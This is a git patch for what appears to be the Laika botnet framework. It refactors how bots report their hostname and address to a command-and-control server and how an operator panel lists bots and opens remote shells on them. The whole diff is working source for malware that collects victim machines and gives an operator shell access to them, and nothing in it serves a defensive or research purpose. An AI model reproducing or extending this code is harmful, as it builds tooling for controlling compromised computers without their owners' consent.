From 0c2d4968d9516510ed9a1b7ef608148dfb755bed Mon Sep 17 00:00:00 2001
From: CPunch <sethtstubbs@gmail.com>
Date: Fri, 4 Mar 2022 20:17:03 -0600
Subject: [PATCH] Refactored LAIKAPKT_HANDSHAKE_REQ, laikaS_acceptFrom

- added inet member to peer structs
---
 bot/src/bot.c         | 13 +++++--------
 cnc/src/cnc.c         | 13 +++++++------
 cnc/src/cpanel.c      |  1 +
 lib/include/lpacket.h |  8 +++++---
 lib/include/lpeer.h   |  2 +-
 lib/include/lsocket.h |  4 ++--
 lib/src/lpeer.c       |  2 ++
 lib/src/lsocket.c     | 15 ++++++++++++---
 shell/include/speer.h |  4 ++--
 shell/src/sclient.c   | 25 +++++++++++++++++--------
 shell/src/speer.c     |  8 +++++---
 11 files changed, 59 insertions(+), 36 deletions(-)

diff --git a/bot/src/bot.c b/bot/src/bot.c
index 2bb6062..42fec75 100644
--- a/bot/src/bot.c
+++ b/bot/src/bot.c
@@ -34,7 +34,7 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
 struct sLaika_bot *laikaB_newBot(void) {
     struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
     struct hostent *host;
-    char *tempIPBuf;
+    char *tempINBuf;
     size_t _unused;
 
     bot->shell = NULL;
@@ -74,13 +74,13 @@ struct sLaika_bot *laikaB_newBot(void) {
         LAIKA_ERROR("gethostbyname() failed!\n");
     }
 
-    if ((tempIPBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
+    if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
         laikaB_freeBot(bot);
         LAIKA_ERROR("inet_ntoa() failed!\n");
     }
 
-    /* copy ipv4 address info */
-    strcpy(bot->peer->ipv4, tempIPBuf);
+    /* copy inet address info */
+    strcpy(bot->peer->inet, tempINBuf);
     return bot;
 }
 
@@ -113,15 +113,12 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
     laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
     laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
     laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
-    laikaS_write(sock, bot->peer->ipv4, LAIKA_IPV4_LEN);
+    laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
     laikaS_endOutPacket(bot->peer);
     laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
 
     if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
         LAIKA_ERROR("failed to gen session key!\n");
-
-    if (!laikaS_handlePeerOut(bot->peer))
-        LAIKA_ERROR("failed to send handshake request!\n");
 }
 
 void laikaB_flushQueue(struct sLaika_bot *bot) {
diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c
index b767f44..870b8de 100644
--- a/cnc/src/cnc.c
+++ b/cnc/src/cnc.c
@@ -91,6 +91,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
     char magicBuf[LAIKA_MAGICLEN];
     struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
     struct sLaika_cnc *cnc = pInfo->cnc;
+    char *tempIPBuf;
     uint8_t major, minor;
 
     laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
@@ -106,13 +107,13 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
     /* read peer's public key */
     laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
 
-    /* read hostname & ipv4 */
+    /* read hostname & inet */
     laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
-    laikaS_read(&peer->sock, peer->ipv4, LAIKA_IPV4_LEN);
+    laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
 
     /* restore null-terminator */
-    peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
-    peer->ipv4[LAIKA_IPV4_LEN-1] = 0;
+    peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
+    peer->inet[LAIKA_INET_LEN-1] = '\0';
 
     /* gen session keys */
     if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
@@ -137,7 +138,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
 #define DEFAULT_PKT_TBL \
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
         laikaC_handleHandshakeRequest, \
-        LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, \
+        LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \
     false), \
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
         laikaC_handleAuthenticatedHandshake, \
@@ -372,7 +373,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
             );
 
             /* setup and accept new peer */
-            laikaS_acceptFrom(&peer->sock, &cnc->sock);
+            laikaS_acceptFrom(&peer->sock, &cnc->sock, peer->ipv4);
             laikaS_setNonBlock(&peer->sock);
 
             /* add to our pollList */
diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c
index 1ab8499..1ef5af6 100644
--- a/cnc/src/cpanel.c
+++ b/cnc/src/cpanel.c
@@ -20,6 +20,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
     /* write the peer's info */
     laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
     laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
+    laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
     laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
     laikaS_writeByte(&authPeer->sock, peer->type);
 
diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h
index 4fbcfff..649c0d8 100644
--- a/lib/include/lpacket.h
+++ b/lib/include/lpacket.h
@@ -9,7 +9,8 @@
 #define LAIKA_MAX_PKTSIZE 4096
 
 #define LAIKA_HOSTNAME_LEN 64
-#define LAIKA_IPV4_LEN 16
+#define LAIKA_IPV4_LEN INET_ADDRSTRLEN
+#define LAIKA_INET_LEN INET_ADDRSTRLEN
 
 #define LAIKA_SHELL_DATA_MAX_LENGTH 256
 
@@ -45,7 +46,7 @@ enum {
     *   uint8_t minorVer;
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
     *   char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
-    *   char ipv4[LAIKA_IPV4_LEN]; -- can be empty (ie. all NULL bytes)
+    *   char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
     */
     LAIKAPKT_HANDSHAKE_RES,
     /* layout of LAIKAPKT_HANDSHAKE_RES:
@@ -72,6 +73,7 @@ enum {
     /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   char hostname[LAIKA_HOSTNAME_LEN];
+    *   char inet[LAIKA_INET_LEN];
     *   char ipv4[LAIKA_IPV4_LEN];
     *   uint8_t peerType;
     */
@@ -80,7 +82,7 @@ enum {
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   uint8_t peerType;
     */
-    LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot */
+    LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
     /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     */
diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h
index 526eb11..fe2f4c7 100644
--- a/lib/include/lpeer.h
+++ b/lib/include/lpeer.h
@@ -30,7 +30,7 @@ struct sLaika_peer {
     struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
     uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
     uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
-    char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
+    char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
     struct sLaika_pollList *pList; /* pollList we're activeList in */
     struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
     void *uData; /* data to be passed to pktHandler */
diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h
index d0f3381..9ef0730 100644
--- a/lib/include/lsocket.h
+++ b/lib/include/lsocket.h
@@ -61,9 +61,9 @@ typedef enum {
 } RAWSOCKCODE;
 
 struct sLaika_socket {
+    SOCKET sock; /* raw socket fd */
     uint8_t *outBuf; /* raw data to be sent() */
     uint8_t *inBuf; /* raw data we recv()'d */
-    SOCKET sock; /* raw socket fd */
     int outCount;
     int inCount;
     int outCap;
@@ -83,7 +83,7 @@ void laikaS_cleanSocket(struct sLaika_socket *sock);
 void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
 void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
 void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
-void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
+void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4);
 bool laikaS_setNonBlock(struct sLaika_socket *sock);
 
 void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c
index c6b8606..946136f 100644
--- a/lib/src/lpeer.c
+++ b/lib/src/lpeer.c
@@ -17,7 +17,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
     peer->inStart = -1;
     peer->useSecure = false;
 
+    /* zero-out peer info */
     memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN);
+    memset(peer->inet, 0, LAIKA_INET_LEN);
     memset(peer->ipv4, 0, LAIKA_IPV4_LEN);
     return peer;
 }
diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c
index c8f7faf..f944030 100644
--- a/lib/src/lsocket.c
+++ b/lib/src/lsocket.c
@@ -148,13 +148,22 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
         LAIKA_ERROR("listen() failed!\n");
 }
 
-void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) {
+void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) {
     socklen_t addressSize;
-    struct sockaddr address;
+    struct sockaddr_in address;
 
-    sock->sock = accept(from->sock, &address, &addressSize);
+    sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
     if (SOCKETINVALID(sock->sock))
         LAIKA_ERROR("accept() failed!\n");
+
+    /* read ipv4 */
+    if (ipv4 != NULL) {
+        if (inet_ntop(AF_INET, &address, ipv4, LAIKA_IPV4_LEN) == NULL)
+            LAIKA_ERROR("inet_ntop() failed!\n");
+
+        /* restore null terminator */
+        ipv4[LAIKA_INET_LEN-1] = '\0';
+    }
 }
 
 bool laikaS_setNonBlock(struct sLaika_socket *sock) {
diff --git a/shell/include/speer.h b/shell/include/speer.h
index a567286..4c8e749 100644
--- a/shell/include/speer.h
+++ b/shell/include/speer.h
@@ -6,11 +6,11 @@
 
 typedef struct sShell_peer {
     uint8_t pub[crypto_kx_PUBLICKEYBYTES];
-    char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
+    char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
     PEERTYPE type;
 } tShell_peer;
 
-tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pub, char *hostname, char *ipv4);
+tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pub, char *hostname, char *inet, char *ipv4);
 void shellP_freePeer(tShell_peer *peer);
 
 char *shellP_typeStr(tShell_peer *peer);
diff --git a/shell/src/sclient.c b/shell/src/sclient.c
index bace7ef..de056f6 100644
--- a/shell/src/sclient.c
+++ b/shell/src/sclient.c
@@ -6,6 +6,8 @@
 
 #include "sclient.h"
 
+/* ==============================================[[ PeerHashMap ]]=============================================== */
+
 typedef struct sShell_hashMapElem {
     int id;
     tShell_peer *peer;
@@ -24,13 +26,15 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
     return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
 }
 
+/* ============================================[[ Packet Handlers ]]============================================= */
+
 void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
     uint8_t endianness = laikaS_readByte(&peer->sock);
     peer->sock.flipEndian = endianness != laikaS_isBigEndian();
 }
 
 void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
-    char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
+    char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
     uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
     tShell_client *client = (tShell_client*)uData;
     tShell_peer *bot;
@@ -41,6 +45,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
 
     /* read hostname & ipv4 */
     laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
+    laikaS_read(&peer->sock, inet, LAIKA_INET_LEN);
     laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
 
     /* read peer's peerType */
@@ -51,7 +56,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
         return;
 
     /* create peer */
-    bot = shellP_newPeer(type, pubKey, hostname, ipv4);
+    bot = shellP_newPeer(type, pubKey, hostname, inet, ipv4);
 
     /* add peer to client */
     shellC_addPeer(client, bot);
@@ -102,6 +107,8 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
     shellC_closeShell(client);
 }
 
+/* ==============================================[[ Packet Table ]]============================================== */
+
 struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
         shellC_handleHandshakeRes,
@@ -109,22 +116,24 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
     false),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
         shellC_handleAddPeer,
-        crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t),
+        crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t),
     false),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
         shellC_handleRmvPeer,
         crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
     false),
-    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
-        shellC_handleShellData,
-        0,
-    true),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
         shellC_handleShellClose,
         0,
     false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
+        shellC_handleShellData,
+        0,
+    true),
 };
 
+/* ===============================================[[ Client API ]]=============================================== */
+
 void shellC_init(tShell_client *client) {
     size_t _unused;
 
@@ -345,5 +354,5 @@ void shellC_printInfo(tShell_peer *peer) {
     char buf[128];
 
     sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
-    shellT_printf("\t%s@%s\n\tTYPE: %s\n\tPUBKEY: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), buf);
+    shellT_printf("\t%s@%s\n\tTYPE: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), buf, peer->inet);
 }
\ No newline at end of file
diff --git a/shell/src/speer.c b/shell/src/speer.c
index 60b1625..a91f616 100644
--- a/shell/src/speer.c
+++ b/shell/src/speer.c
@@ -2,7 +2,7 @@
 #include "lpacket.h"
 #include "speer.h"
 
-tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pubKey, char *hostname, char *ipv4) {
+tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) {
     tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
     peer->type = type;
 
@@ -11,11 +11,13 @@ tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pubKey, char *hostname, char
 
     /* copy hostname & ipv4 */
     memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN);
+    memcpy(peer->inet, inet, LAIKA_IPV4_LEN);
     memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN);
 
     /* restore NULL terminators */
-    peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
-    peer->ipv4[LAIKA_IPV4_LEN-1] = 0;
+    peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
+    peer->inet[LAIKA_INET_LEN-1] = '\0';
+    peer->ipv4[LAIKA_IPV4_LEN-1] = '\0';
 
     return peer;
 }